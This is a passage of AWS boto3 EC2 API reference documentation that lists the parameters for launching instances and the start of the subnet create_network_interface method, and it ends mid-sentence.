'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + PrivateIpAddress='string', + ElasticGpuSpecification=[ + { + 'Type': 'string' + }, + ], + ElasticInferenceAccelerators=[ + { + 'Type': 'string', + 'Count': 123 + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + LaunchTemplate={ + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + InstanceMarketOptions={ + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + CreditSpecification={ + 'CpuCredits': 'string' + }, + CpuOptions={ + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + CapacityReservationSpecification={ + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + HibernationOptions={ + 'Configured': True|False + }, + LicenseSpecifications=[ + { + 'LicenseConfigurationArn': 'string' + }, + ], + MetadataOptions={ + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + EnclaveOptions={ + 'Enabled': True|False + } +) +``` + +Parameters + +* **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + * _(dict) -- + Describes a block device mapping. + + * **DeviceName** _(string) -- + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) -- + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) -- ``` + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) -- + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) -- + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) -- + The ID of the snapshot. + + * **VolumeSize** _(integer) -- + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) -- + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) -- + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) -- + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) -- + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For mo``` + re information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) -- + Suppresses the specified device included in the block device mapping of the AMI. + +* **ImageId** (_string_) -- The ID of the AMI. An AMI ID is required to launch an instance and must be specified here or in a launch template. +* **InstanceType** (_string_) -- + + The instance type. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: m1.small + +* **Ipv6AddressCount** (_integer_) -- + + [EC2-VPC] The number of IPv6 addresses to associate with the primary network interface. Amazon EC2 chooses the IPv6 addresses from the range of your subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + +* **Ipv6Addresses** (_list_) -- + + [EC2-VPC] The IPv6 addresses from the range of the subnet to associate with the primary network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + + * _(dict) -- + Describes an IPv6 address. + + * **Ipv6Address** _(string) -- + The IPv6 address. + +* **KernelId** (_string_) -- + + The ID of the kernel. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **KeyName** (_string_) -- + + The name of the key pair. You can create a key pair using [CreateKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html) or [ImportKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html) . + + Warning + + If you do not specify a key pair, you can't connect to the instance unless you choose an AMI that is configured to allow users another way to log in. + +* **MaxCount** (_integer_) -- **[REQUIRED]** The maximum number of instances to launch. If you specify more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches the largest possible number of instances above MinCount . + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 FAQ. + +* **MinCount** (_integer_) -- **[REQUIRED]** The minimum number of instances to launch. If you specify a minimum that is more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches no instances. + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 General FAQ. + +* **Monitoring** (_dict_) -- + + Specifies whether detailed monitoring is enabled for the instance. + + * **Enabled** _(boolean) --_ **[REQUIRED]** + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + +* **Placement** (_dict_) -- + + The placement for the instance. + + * **AvailabilityZone** _(string) -- + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) -- + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) -- + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) -- The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) -- + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) -- + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) -- + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) -- + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + +* **RamdiskId** (_string_) -- + + The ID of the RAM disk to select. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, go to the AWS Resource Center and search for the kernel ID. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **SecurityGroupIds** (_list_) -- + + The IDs of the security groups. You can create a security group using [CreateSecurityGroup](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateSecurityGroup.html) . + + If you specify a network interface, you must specify any security groups as part of the network interface. + + * _(string) --_ +* **SecurityGroups** (_list_) -- + + [EC2-Classic, default VPC] The names of the security groups. For a nondefault VPC, you must use security group IDs instead. + + If you specify a network interface, you must specify any security groups as part of the network interface. + + Default: Amazon EC2 uses the default security group. + + * _(string) --_ +* **UserData** (_string_) -- + + The user data to make available to the instance. For more information, see [Running commands on your Linux instance at launch](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) (Linux) and [Adding User Data](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-instance-metadata.html#instancedata-add-user-data) (Windows). If you are using a command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. User data is limited to 16 KB. + + > **This value will be base64 encoded automatically. Do not base64 encode this value prior to performing the operation.** + +* **AdditionalInfo** (_string_) -- Reserved. +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. If you do not specify a client token, a randomly generated token is used for the request to ensure idempotency. + + For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Maximum 64 ASCII characters + + This field is autopopulated if not provided. + +* **DisableApiTermination** (_boolean_) -- + + If you set this parameter to true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. To change this attribute after launch, use [ModifyInstanceAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html) . Alternatively, if you set InstanceInitiatedShutdownBehavior to terminate , you can terminate the instance by running the shutdown command from the instance. + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EbsOptimized** (_boolean_) -- + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal Amazon EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS-optimized instance. + + Default: false + +* **IamInstanceProfile** (_dict_) -- + + The IAM instance profile. + + * **Arn** _(string) -- + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) -- + The name of the instance profile. + +* **InstanceInitiatedShutdownBehavior** (_string_) -- + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + Default: stop + +* **NetworkInterfaces** (_list_) -- + + The network interfaces to associate with the instance. If you specify a network interface, you must specify any security groups and subnets as part of the network interface. + + * _(dict) -- + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) -- + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) -- + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) -- + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) -- + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) -- + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) -- * **Ipv6AddressCount** _(integer) -- + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) -- + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) -- + Describes an IPv6 address. + + * **Ipv6Address** _(string) -- + The IPv6 address. + + * **NetworkInterfaceId** _(string) -- + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) -- + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) -- + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) -- + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) -- + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) -- + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) -- + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) -- + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) -- + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) -- + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) -- + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +* **PrivateIpAddress** (_string_) -- + + [EC2-VPC] The primary IPv4 address. You must specify a value from the IPv4 address range of the subnet. + + Only one private IP address can be designated as primary. You can't specify this option if you've specified the option to designate a private IP address as the primary IP address in a network interface specification. You cannot specify this option if you're launching more than one instance in the request. + + You cannot specify this option and the network interfaces option in the same request. + +* **ElasticGpuSpecification** (_list_) -- + + An elastic GPU to associate with the instance. An Elastic GPU is a GPU resource that you can attach to your Windows instance to accelerate the graphics performance of your applications. For more information, see [Amazon EC2 Elastic GPUs](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * _(dict) -- + A specification for an Elastic Graphics accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of Elastic Graphics accelerator. For more information about the values to specify for Type , see [Elastic Graphics Basics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html#elastic-graphics-basics) , specifically the Elastic Graphics accelerator column, in the _Amazon Elastic Compute Cloud User Guide for Windows Instances_ . + +* **ElasticInferenceAccelerators** (_list_) -- + + An elastic inference accelerator to associate with the instance. Elastic inference accelerators are a resource you can attach to your Amazon EC2 instances to accelerate your Deep Learning (DL) inference workloads. + + You cannot specify accelerators from different generations in the same request. + + * _(dict) -- + Describes an elastic inference accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of elastic inference accelerator. The possible values are eia1.medium , eia1.large , eia1.xlarge , eia2.medium , eia2.large , and eia2.xlarge . + + * **Count** _(integer) -- + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + +* **TagSpecifications** (_list_) -- + + The tags to apply to the resources during launch. You can only tag instances and volumes on launch. The specified tags are applied to all instances or volumes that are created during launch. To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * _(dict) -- + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) -- + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1089)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1091)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) -- + The tags to apply to the resource. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **LaunchTemplate** (_dict_) -- + ``` + + The launch template to use to launch the instances. Any parameters that you specify in RunInstances override the same parameters in the launch template. You can specify either the name or ID of a launch template, but not both. + + * **LaunchTemplateId** _(string) -- + The ID of the launch template. + + * **LaunchTemplateName** _(string) -- + The name of the launch template. + + * **Version** _(string) -- + The version number of the launch template. + + Default: The default version for the launch template. + +* **InstanceMarketOptions** (_dict_) -- + + The market (purchasing) option for the instances. + + For RunInstances , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **MarketType** _(string) -- + The market type. + + * **SpotOptions** _(dict) -- + The options for Spot Instances. + + * **MaxPrice** _(string) -- + The maximum hourly price you're willing to pay for the Spot Instances. The default is the On-Demand price. + + * **SpotInstanceType** _(string) -- + The Spot Instance request type. For [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances) , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **BlockDurationMinutes** _(integer) -- + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + The duration period starts as soon as your Spot Instance receives its instance ID. At the end of the duration period, Amazon EC2 marks the Spot Instance for termination and provides a Spot Instance termination notice, which gives the instance a two-minute warning before it terminates. + + You can't specify an Availability Zone group or a launch group if you specify a duration. + + New accounts or accounts with no previous billing history with AWS are not eligible for Spot Instances with a defined duration (also known as Spot blocks). + + * **ValidUntil** _(datetime) -- + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). Supported only for persistent requests. + + * For a persistent request, the request remains active until the ValidUntil date and time is reached. Otherwise, the request remains active until you cancel it. + * For a one-time request, ValidUntil is not supported. The request remains active until all instances launch or you cancel the request. + * **InstanceInterruptionBehavior** _(string) -- + The behavior when a Spot Instance is interrupted. The default is terminate . + +* **CreditSpecification** (_dict_) -- + + The credit option for CPU usage of the burstable performance instance. Valid values are standard and unlimited . To change this attribute after launch, use [ModifyInstanceCreditSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceCreditSpecification.html) . For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: standard (T2 instances) or unlimited (T3/T3a instances) + + * **CpuCredits** _(string) --_ **[REQUIRED]** + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + +* **CpuOptions** (_dict_) -- + + The CPU options for the instance. For more information, see [Optimizing CPU options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) -- The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) -- The number of threads per CPU core. To disable multithreading for the instance, specify a value of 1 . Otherwise, specify the default value of 2 . + +* **CapacityReservationSpecification** (_dict_) -- + + Information about the Capacity Reservation targeting option. If you do not specify this parameter, the instance's Capacity Reservation preference defaults to open , which enables it to run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + + * **CapacityReservationPreference** _(string) -- + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs as an On-Demand Instance. + * **CapacityReservationTarget** _(dict) -- + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) -- + The ID of the Capacity Reservation in which to run the instance. + + * **CapacityReservationResourceGroupArn** _(string) -- + The ARN of the Capacity Reservation resource group in which to run the instance. + +* **HibernationOptions** (_dict_) -- + + Indicates whether an instance is enabled for hibernation. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + You can't enable hibernation and AWS Nitro Enclaves on the same instance. + + * **Configured** _(boolean) -- + If you set this parameter to true , your instance is enabled for hibernation. + + Default: false + +* **LicenseSpecifications** (_list_) -- + + The license configurations. + + * _(dict) -- + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) -- + The Amazon Resource Name (ARN) of the license configuration. + +* **MetadataOptions** (_dict_) -- + + The metadata options for the instance. For more information, see [Instance metadata and user data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) . + + * **HttpTokens** _(string) -- + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) -- The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) -- + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + +* **EnclaveOptions** (_dict_) -- + + Indicates whether the instance is enabled for AWS Nitro Enclaves. For more information, see [What is AWS Nitro Enclaves?](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave.html) in the _AWS Nitro Enclaves User Guide_ . + + You can't enable AWS Nitro Enclaves and hibernation on the same instance. + + * **Enabled** _(boolean) -- + To enable the instance for AWS Nitro Enclaves, set this parameter to true . + +Return: +- Return type: list(ec2.Instance) +- A list of Instance resources + +create_network_interface(kwargs_) + +Creates a network interface in the specified subnet. + +For more information about network interfaces, see [Elastic Network Interfaces](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html) in the _Amazon Virtual Private Cloud User Guide_ . + + +**Request Syntax** + +```py +network_interface = subnet.create_network_interface( + Description='string', + DryRun=True|False, + Groups=[ + 'string', + ], + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + PrivateIpAddress='string', + PrivateIpAddresses=[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + SecondaryPrivateIpAddressCount=123, + InterfaceType='efa', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) +``` + +Parameters + +* **Description** (_string_) -- A description for the network interface. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + The IDs of one or more security groups. + + * _(string) --_ +* **Ipv6AddressCount** (_integer_) -- The number of IPv6 addresses to assign to a network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. If your subnet has the AssignIpv6AddressOnCreation attribute set to true , you can specify 0 to override this setting. +* **Ipv6Addresses** (_list_) -- + + One or more specific IPv6 addresses from the IPv6 CIDR block range of your subnet. You can't use this option if you're specifying a number of IPv6 addresses. + + * _(dict) -- + Describes an IPv6 address. + + * **Ipv6Address** _(string) -- + The IPv6 address. + +* **PrivateIpAddress** (_string_) -- The primary private IPv4 address of the network interface. If you don't specify an IPv4 address, Amazon EC2 selects one for you from the subnet's IPv4 CIDR range. If you specify an IP address, you cannot indicate any IP addresses specified in privateIpAddresses as primary (only one IP address can be designated as primary). +* **PrivateIpAddresses** (_list_) -- + + One or more private IPv4 addresses. + + * _(dict) -- + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) -- + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) -- + The private IPv4 addresses. + +* **SecondaryPrivateIpAddressCount** (_integer_) -- + + The number of secondary private IPv4 addresses to assign to a network interface. When you specify a number of secondary IPv4 addresses, Amazon 